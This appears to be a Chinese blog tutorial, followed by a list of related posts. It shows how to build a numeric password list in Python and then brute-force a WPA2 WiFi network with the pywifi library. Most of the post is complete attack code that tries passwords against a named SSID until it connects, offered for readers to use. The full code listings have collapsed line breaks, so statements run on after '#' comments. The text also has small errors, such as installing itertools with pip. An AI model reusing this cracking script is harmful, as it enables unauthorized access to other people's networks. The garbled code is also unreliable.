首先要生成密码本

对于这个密码本就是我们常用的密码,一般是有数字、字母和符号组成。而现在呢?我们就用Python生成一个简单的密码本,这里用到的思路主要是穷举法。这里用到的库是itertools,没有的可以使用pip install itertools在DOS命令下安装,这个密码本生成很简单,就是几行代码而已。接下来我们一起分析。同样,我们先一步一步分析,后面会附上完整代码。

这里使用一个迭代器,就是我们需要生成密码所有的字符,可以是数字,符号和字母,我这里采用的是纯数字,是为了方便和节约时间。

words="1234567890"

下面就是生成密码的位数,但是这里要注意的是这个要考虑到电脑的配置,我生成七位的密码花了十多分钟,生成的文件大小约有85M,所以大家根据情况生成。

r=its.product(words,repeat=4)

因此生成的密码一般是字符串,而我之前生成的是单个的字符,所以我采用join,使用空格链接。

dic.write("".join(i))

好了,记下来就是完整的代码:

import itertools as its#迭代器
words="1234567890"
#生成密码本的位数,五位数,repeat=5
r=its.product(words,repeat=3)
#保存在文件中,追加
dic=open("./password.txt","a")
#i是元组
for i in r:#jion空格链接dic.write("".join(i))dic.write("".join("\n"))print(i)
dic.close()
print("密码本已生成")

破解wifi密码

这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是Python3,所以各位看的时候需要注意这一点。接下来我们一步一步分析主要代码,后面同样附上完整的代码。对了,需要注意一点,就是电脑必须是要用无线网卡的。

首先我们需要判断电脑是否已经连接wifi,创建一个无线对象,获取无线网卡。

wifi=pywifi.PyWiFi()
#获取无线网卡
ifaces=wifi.interfaces()[0]
print(ifaces)

使用这行代码就可以获取电脑无线网卡的名称:

print(ifaces.name())

要判断是否连接WiFi,我们需要导入一个常量库:

from pywifi import const

创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的开发状态,查看wifi的加密算法,一般wifi加密算法为WPA2 PSK,检查加密单元。代码如下:

profile=pywifi.Profile()
#要连接WiFi的名称
profile.ssid="jiayi"
#网卡的开放状态
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法为was
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP

删除所有连接过的wifi文件,重新设定新的连接文件,设置wifi连接时间,判断wifi是否连接,若连接,返回4,未连接,返回0.

#删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi连接时间
time.sleep(3)
if ifaces.status()==const.IFACE_CONNECTED:return True
else:return False

接下来我们就需要一个密码本,然后采用只读的方式,一行一行读取,这里的密码本可以用我分享的这个,也用去网上下载一个常用wifi密码,只要是TXT文本就可以.

#密码本路径
path="C:/Users/ASUS/Desktop/password.txt"
#打开文件
file=open(path,"r")
while True:try:#一行一行读取pad=file.readline()好了,接下来就是完整的代码.
# coding:utf-8
import pywifi
from pywifi import const
import time#测试连接,返回链接结果
def wifiConnect(pwd):#抓取网卡接口wifi=pywifi.PyWiFi()#获取第一个无线网卡ifaces=wifi.interfaces()[0]#断开所有连接ifaces.disconnect()time.sleep(1)wifistatus=ifaces.status()if wifistatus ==const.IFACE_DISCONNECTED:#创建WiFi连接文件profile=pywifi.Profile()#要连接WiFi的名称profile.ssid="jiayi"#网卡的开放状态profile.auth=const.AUTH_ALG_OPEN#wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密单元profile.cipher=const.CIPHER_TYPE_CCMP#调用密码profile.key=pwd#删除所有连接过的wifi文件ifaces.remove_all_network_profiles()#设定新的连接文件tep_profile=ifaces.add_network_profile(profile)ifaces.connect(tep_profile)#wifi连接时间time.sleep(3)if ifaces.status()==const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已有wifi连接") #读取密码本
def readPassword():print("开始破解:")#密码本路径path="./password.txt"#打开文件file=open(path,"r")while True:try:#一行一行读取pad=file.readline()bool=wifiConnect(pad)if bool:print("密码已破解: ",pad)print("WiFi已自动连接!!!")breakelse:#跳出当前循环,进行下一次循环print("密码破解中....密码校对: ",pad)except:continue
readPassword()

教你如何使用Python破解WIFI密码相关推荐

  1. Python破解Wifi密码脚本

    Python破解Wifi密码脚本 使用pywifi 暴力破解wifi密码,就是使用使用多个密码与wifi进行连接测试.总的来说,破解成功的可能性是存在的,但需要付出很多的努力,当然,付出努力也不一定能 ...

  2. 思路+源码,利用Python破解WIFI密码详解,100M的字典已备好

    前言 WIFI破解,Python程序员必学技能.WIFI已经完全普及,现在Python程序员没网,走到哪里都不怕! 很多人学习python,不知道从何学起. 很多人学习python,掌握了基本语法过后 ...

  3. 用Python破解WiFi密码,太刺激了!

    来源丨网络 大家好,我是小z,也可以叫我阿粥~ 本文给大家分享的是如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网. 脚本从无图形和图形界面来分别实现,主要使用的是pywi ...

  4. 牛逼了,用Python破解wifi密码

    Python真的是无所不能,原因就是因为Python有数目庞大的库,无数的现成的轮子,让你做很多很多应用都非常方便.wifi跟我们的生活息息相关,无处不在.今天从WiFi连接的原理,再结合代码为大家详 ...

  5. 用Python破解WiFi密码,太刺激了

    前言 本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网. 无图形界面 先来看看没有图形界面版的爆破脚本. WIFI爆破 import pywifi from ...

  6. Python破解WIFI密码完整源代码,实测可成功破解

    目录 # 修正记录:2022-12-01 1,先安装Python环境(这个不用多说了吧) 2,安装PyWifi 3,自己手工整理高频弱口令,不建议程序生成的字典,生成的字典成功率实在太低. 4,自己生 ...

  7. 怎么用python破解wifi密码?

    今天六一儿童节,跟大家分享一个有意思的案例:如何使用Python暴力破解WiFi密码 不多说什么直接开始~ 如何暴力破解 我们知道,计算机相比人类,最大的优势就是它能够重复性执行一些任务,但它永远不会 ...

  8. 用Python破解WiFi密码,亲测有效,简直不能太爽了

    本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网. 现在我想wifi已经是不能离开我们的生活了吧,最少我是这么觉得,我在家,公司,以及出门基本上都要用到,不 ...

  9. Python破解WiFi密码Demo

    发个好玩的小demo  不过这不是穷举或什么的算密码的 就是读个密码本~~ 弄个破界面 好玩就发了~~ 勿怪 无图形界面 先来看看没有图形界面版的爆破脚本. WIFI 爆破 import pywifi ...

最新文章

  1. 【OpenCV 4开发详解】图像金字塔
  2. 皮一皮:你有没有为中国大数据力量做一份贡献!
  3. 【转载】知乎答案----孙志岗----Google 发布了程序员养成指南,国内互联网巨头是否也有类似的指南和课程推荐...
  4. 完善Linux/UNIX审计 将每个shell命令记入日志
  5. 中国中文信息学会:第一届自然语言生成与智能写作大会讲习班正式发布
  6. java调用jni接口,Java 中通过jni接口调用native code
  7. 江西理工大学期末试卷c语言,2016年江西理工大学信息工程学院计算机应用技术(加试)之C语言程序设计复试笔试最后押题五套卷...
  8. Python 的协程
  9. android 自定义横向堆积柱形图,MPAndroidChart项目实战(八)——自定义分段堆积柱状图...
  10. css学习_css3过渡
  11. install opencv from source
  12. 你可能不知道的位运算技巧
  13. 如何向某网址Post信息,并得到CookieContainer以便以后直接通过验证
  14. 实验1 java程序基础_《Java程序设计》实验1
  15. bat文件语法和技巧_这不是高手专利,一秒新建100个Excel文件
  16. AD中批量导入域用户的命令
  17. uploadify php使用,如何在ThinkPHP中使用Uploadify对图片进行上传
  18. 组合查询用例-正交设计法如何设计
  19. 联想y7000笔记本触摸板开启快捷键_联想 拯救者Y7000P 如何关闭触摸板?
  20. 手把手教大家搭建微信公众号查题

热门文章

  1. $watch和watch属性的使用
  2. 第一次作业:调查市场软件
  3. ModuleNotFoundError: No module named ‘kombu.five‘
  4. 注册AWS账号创建EC2免费套餐详细教程
  5. Coder, 知道 《编码》吗?
  6. 160_zigbee协调器_一种判断数据包有没有拿对的方法【掐头去尾发,拿头指针、尾指针去判断】
  7. C++数据结构第13课、类族结构的进化
  8. STM32 使用 SHT2x 温湿度传感器
  9. linux 下使用isign 签名ipa包
  10. Word文字报告自动与Excel数据同步更新